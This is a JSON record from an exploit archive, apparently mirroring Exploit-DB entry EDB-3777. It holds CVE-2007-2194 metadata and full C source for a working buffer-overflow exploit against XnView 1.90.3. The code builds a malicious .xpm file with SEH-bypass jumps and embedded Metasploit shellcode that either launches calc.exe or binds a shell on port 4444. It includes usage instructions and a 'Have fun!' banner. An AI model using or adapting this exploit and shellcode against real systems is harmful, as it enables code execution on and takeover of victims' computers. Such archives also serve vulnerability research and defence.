{"exploit":{"id":"EDB-3777","name":"XnView 1.90.3 - '.xpm' Local Buffer Overflow","description":"XnView 1.90.3 - '.xpm' Local Buffer Overflow","cves":["CVE-2007-2194"],"author":"Marsu","published":"2007-04-22","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3777","path":"exploits/windows/local/3777.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3777.c","vulnerabilities":[{"id":"CVE-2007-2194","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in XnView 1.90.3 allows user-assisted remote attackers to execute arbitrary code via a crafted XPM file with a long section string. NOTE: some of these details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-2194","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-2194"},"updatedAt":"2024-08-07T13:23:51.025Z","retrievedAt":"2026-11-27T05:08:05.201Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3777.png?v=2","url":"https://exploitbin.com/exploits/EDB-3777","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3777/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3777/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*****************************************************************************\n*                                                                            *\n*                  XnView 1.90.3 .XPM File Buffer Overflow                   *\n*                                                                            *\n*                                                                            *\n* XnView is vulnerable to a buffer overflow while processing a crafted XPM   *\n* File. It fails to check the length of the arguments passed to the defined  *\n* array which leads to code execution.                                       *\n* This exploit runs calc.exe or binds shell to port 4444.                    *\n*                                                                            *\n* Tested against Win XP SP2 FR.                                              *\n* Have Fun!                                                                  *\n*                                                                            *\n* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                 *\n*****************************************************************************/\n\n#include \"stdio.h\"\n#include \"stdlib.h\"\n\n/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */\nunsigned char CalcShellcode[] =\n\"\\x31\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x98\"\n\"\\x11\\xbe\\xa7\\x83\\xeb\\xfc\\xe2\\xf4\\x64\\xf9\\xfa\\xa7\\x98\\x11\\x35\\xe2\"\n\"\\xa4\\x9a\\xc2\\xa2\\xe0\\x10\\x51\\x2c\\xd7\\x09\\x35\\xf8\\xb8\\x10\\x55\\xee\"\n\"\\x13\\x25\\x35\\xa6\\x76\\x20\\x7e\\x3e\\x34\\x95\\x7e\\xd3\\x9f\\xd0\\x74\\xaa\"\n\"\\x99\\xd3\\x55\\x53\\xa3\\x45\\x9a\\xa3\\xed\\xf4\\x35\\xf8\\xbc\\x10\\x55\\xc1\"\n\"\\x13\\x1d\\xf5\\x2c\\xc7\\x0d\\xbf\\x4c\\x13\\x0d\\x35\\xa6\\x73\\x98\\xe2\\x83\"\n\"\\x9c\\xd2\\x8f\\x67\\xfc\\x9a\\xfe\\x97\\x1d\\xd1\\xc6\\xab\\x13\\x51\\xb2\\x2c\"\n\"\\xe8\\x0d\\x13\\x2c\\xf0\\x19\\x55\\xae\\x13\\x91\\x0e\\xa7\\x98\\x11\\x35\\xcf\"\n\"\\xa4\\x4e\\x8f\\x51\\xf8\\x47\\x37\\x5f\\x1b\\xd1\\xc5\\xf7\\xf0\\x6f\\x66\\x45\"\n\"\\xeb\\x79\\x26\\x59\\x12\\x1f\\xe9\\x58\\x7f\\x72\\xdf\\xcb\\xfb\\x3f\\xdb\\xdf\"\n\"\\xfd\\x11\\xbe\\xa7\";\n\n\n/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */\nunsigned char BindShellcode[] =\n\"\\x33\\xc9\\x83\\xe9\\xb0\\xd9\\xee\\xd9\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\x09\\x84\\xa8\\x17\\xb9\\x32\\xfe\\x36\"\n\"\\x0b\\x84\\xae\\x2f\\x08\\x2f\\x2d\\x80\\x8c\\xe8\\x10\\x98\\x25\\xbd\\x01\\x28\"\n\"\\xa3\\xad\\x2d\\x80\\x8c\\x1d\\x12\\x1b\\x3a\\x13\\x1b\\x12\\xd5\\x9e\\x12\\x2f\"\n\"\\x05\\x52\\xb4\\xf6\\xbb\\x11\\x3c\\xf6\\xbe\\x4a\\xb8\\x8c\\xf6\\x85\\x3a\\x52\"\n\"\\xa2\\x39\\x54\\xec\\xd1\\x01\\x40\\xd4\\xf7\\xd0\\x10\\x0d\\xa2\\xc8\\x6e\\x80\"\n\"\\x29\\x3f\\x87\\xa9\\x07\\x2c\\x2a\\x2e\\x0d\\x2a\\x12\\x7e\\x0d\\x2a\\x2d\\x2e\"\n\"\\xa3\\xab\\x10\\xd2\\x85\\x7e\\xb6\\x2c\\xa3\\xad\\x12\\x80\\xa3\\x4c\\x87\\xaf\"\n\"\\xd7\\x2c\\x84\\xfc\\x98\\x1f\\x87\\xa9\\x0e\\x84\\xa8\\x17\\xac\\xf1\\x7c\\x20\"\n\"\\x0f\\x84\\xae\\x80\\x8c\\x7b\\x78\\x7f\";\n\n\nchar XPMHeaders[]=\n\"\\x2f\\x2a\\x20\\x58\\x50\\x4d\\x20\\x2a\\x2f\\x0d\\x0a\\x73\\x74\\x61\\x74\\x69\"\n\"\\x63\\x20\\x63\\x68\\x61\\x72\\x20\\x2a\\x50\\x69\\x78\\x6d\\x61\\x70\\x5b\\x5d\"\n\"\\x20\\x3d\\x20\\x7b\\x0d\\x0a\\x22\\x35\\x30\\x39\\x20\\x34\\x33\\x38\\x20\\x32\"\n\"\\x35\\x36\\x20\\x33\\x22\\x2c\\x0d\\x0a\\x22\";\n\nint main(int argc, char* argv[])\n{\n\tFILE* xpmfile;\n\tchar evilbuff[6600];\n\tint offset=0;\n\n\tprintf(\"[+] XnView 1.90.3 .XPM File Buffer Overflow\\n\");\n\tprintf(\"[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\\n\");\n\tif (argc!=3) {\n\t\tprintf(\"[+] Usage: %s Mode <file.xpm>\\n\",argv[0]);\n\t\tprintf(\"[+] Mode is 0 -> run calc.exe\\n\");\n\t\tprintf(\"[+]         1 -> bind shell to port 4444\\n\");\n\t\treturn 0;\n\t}\n\n\tmemset(evilbuff,'A',6600);\n\tmemcpy(evilbuff,XPMHeaders,sizeof(XPMHeaders)-1);\n\n\t//Ret address depends of the way you open the document\n\t//jmp over EIP + pop pop ret in ??? to defeat SEH protection + jmp back to our shellcode\n\t//there are 3ret add because files can be accessed in multiple ways\n\tmemcpy(evilbuff+0xead,\"\\x90\\x90\\xeb\\x05\\x2a\\x02\\xfc\\x7f\\x41\\xe9\\x8a\\xf1\\xff\\xff\",14);\n\tmemcpy(evilbuff+0x1299,\"\\x90\\x90\\xeb\\x05\\x2a\\x02\\xfc\\x7f\\x41\\xe9\\x9e\\xed\\xff\\xff\",14);\n\tmemcpy(evilbuff+0x1799,\"\\x90\\x90\\xeb\\x05\\x2a\\x02\\xfc\\x7f\\x41\\xe9\\x9e\\xe8\\xff\\xff\",14);\n\n\tif (!atoi(argv[1]))\n\t\tmemcpy(evilbuff+sizeof(XPMHeaders)+0x10,CalcShellcode,strlen(CalcShellcode));\n\telse\n\t\tmemcpy(evilbuff+sizeof(XPMHeaders)+0x10,BindShellcode,strlen(BindShellcode));\n\n\t//End of file\n\tmemcpy(evilbuff+0x1916,\"\\x22\\x0d\\x0a\\x29\\x3b\\x0d\\x0a\",7);\n\n\tif ((xpmfile=fopen(argv[2],\"wb\"))==0) {\n\t\tprintf(\"[-] Unable to access file.\\n\");\n\t\treturn 0;\n\t}\n\n\tfwrite( evilbuff, 1, 6600, xpmfile );\n\tfclose(xpmfile);\n\tprintf(\"[+] Done. Have fun!\\n\");\n\treturn 0;\n\n}\n\n// milw0rm.com [2007-04-22]","sha256":"1a935336b7b528120687263a0fde50f60625fea67293da5d4ca65fdb70325676","bytes":5352,"fetchedAt":"2026-11-27T05:08:03.413Z","encoding":"utf-8 (display only; download retains original bytes)"}